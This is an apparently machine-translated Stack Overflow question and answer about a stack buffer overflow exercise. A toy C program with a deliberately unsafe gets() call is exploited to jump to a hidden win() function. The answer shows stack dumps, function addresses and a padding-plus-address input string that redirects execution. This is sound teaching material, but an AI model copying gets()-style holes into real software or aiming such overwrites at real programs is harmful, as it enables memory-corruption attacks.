尝试调用缓冲区溢出的隐藏函数

Fia*_*ill 1 c stack-overflow gdb buffer-overflow

所以我试图对此代码执行基于堆栈的缓冲区溢出:

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void win()
{
  printf("well done!");
}

void vulnfunc(){
  char buffer[36];
  gets(buffer);
  printf("Buffer contents are %s\n",buffer);
}

int main(int argc,char**argv){
  vulnfunc();
}

Run Code Online (Sandbox Code Playgroud)

所以我用 44 个字节覆盖了 EIP(缓冲区的 36 个字节和额外的 8 个字节)。然后我得到了函数 win 的地址,将其更改0x53e58955为适当的地址,如下所示

\x55\x89\xe5\x53
Run Code Online (Sandbox Code Playgroud)

当我将两个字符串连接在一起作为输入时,它仍然不会调用该win()函数。我尝试添加"BBBB"填充来填充 ebp,但也没有运气。如果有人可以提供一些建议,我将非常感激。

它在 Ubuntu、x86_64 上运行

Rob*_*oni 5

我在 Windows 上重现了该漏洞。由于系统和控制台可能不同,我将解释该过程而不是原始代码。因此,它不是复制粘贴解决方案,而是复制过程以获得相似结果的解决方案。

\n

首先,我想找出堆栈结构。所以我执行了以下修改vulnfunc()

\n
void vulnfunc(){\n  char buffer[36];\n\n  printf("win(): 0x%p\\n", win);\n  printf("vulnfunc(): 0x%p\\n", vulnfunc);\n  printf("main(): 0x%p\\n", main);\n  printf("printf(): 0x%p\\n", printf);\n  \n  printf( "0x%08X %08X %08X %08X\\n",\n          (int) *((int*)&buffer[36]), (int) *((int*)&buffer[40]),\n          (int) *((int*)&buffer[44]), (int) *((int*)&buffer[48]));\n  printf( "0x%08X %08X %08X %08X\\n",\n          (int) *((int*)&buffer[52]), (int) *((int*)&buffer[56]),\n          (int) *((int*)&buffer[60]), (int) *((int*)&buffer[64]) );\n  printf( "0x%08X %08X %08X %08X\\n",\n          (int) *((int*)&buffer[68]), (int) *((int*)&buffer[72]),\n          (int) *((int*)&buffer[76]), (int) *((int*)&buffer[80]) );\n\n  gets(buffer);\n}\n
Run Code Online (Sandbox Code Playgroud)\n

正如您所看到的,我打印了win()地址以及所有其他相关函数,包括mainprintf。然后,我在buffer之后打印了堆栈的相关部分(48 字节)array

\n

我得到以下输出:

\n
win(): 0x0000000000401530\nvulnfunc(): 0x000000000040154B\nmain(): 0x00000000004016D9\nprintf(): 0x0000000000402C98\n0xFFFFFFFF 00000008 00000000 0062FE20\n0x00000000 004016F2 00000000 00000000\n0x00000000 00000008 00000000 00000000\n
Run Code Online (Sandbox Code Playgroud)\n

函数的地址很有用,因为我需要的是main()(address 0x00000000004016D9) 内的返回地址。候选人当然是004016F2

\n

因此,我需要插入足够的字符gets()才能到达所需的地址。我们需要准确地插入 24 个字符,即包含地址的数组末尾之外的从字节 21 到字节 24 的字符。buffer它们前面的 20 个字节的值并不重要,因此我插入随机 ASCII 字符。

\n

结果是预期的:

\n
win(): 0x0000000000401530\nvulnfunc(): 0x000000000040154B\nmain(): 0x00000000004016D9\nprintf(): 0x0000000000402C98\n0xFFFFFFFF 00000008 00000000 0062FE20\n0x00000000 004016F2 00000000 00000000\n0x00000000 00000008 00000000 00000000\n123456789012345678901234567890123456AAAABBBBCCCCDDDDEEEE0\xc2\xa7@\nBuffer contents are 123456789012345678901234567890123456AAAABBBBCCCCDDDDEEEE0@\nwell done!\n<crash>\n
Run Code Online (Sandbox Code Playgroud)\n

请注意如何:

\n
    \n
  • "123456789012345678901234567890123456"是占据数组“合法”区域的 36 个字符
  • \n
  • "AAAABBBBCCCCDDDDEEEE"是 20 个“填充”字符,只是为了到达堆栈的所需位置
  • \n
  • 注入的地址是0\xc2\xa7@( 0x30,0x150x40) 并且由 填充的字符串终止符gets()提供了缺失的0x00
  • \n
\n

正如预期的那样,该win()函数被执行;之后发生崩溃,因为从它返回后堆栈不包含正确的返回地址main()(它已损坏)。

\n

在 Ubuntu 上,您可能会有不同的堆栈配置,但您可以通过非常相似的方式发现如何执行所需的漏洞利用。

\n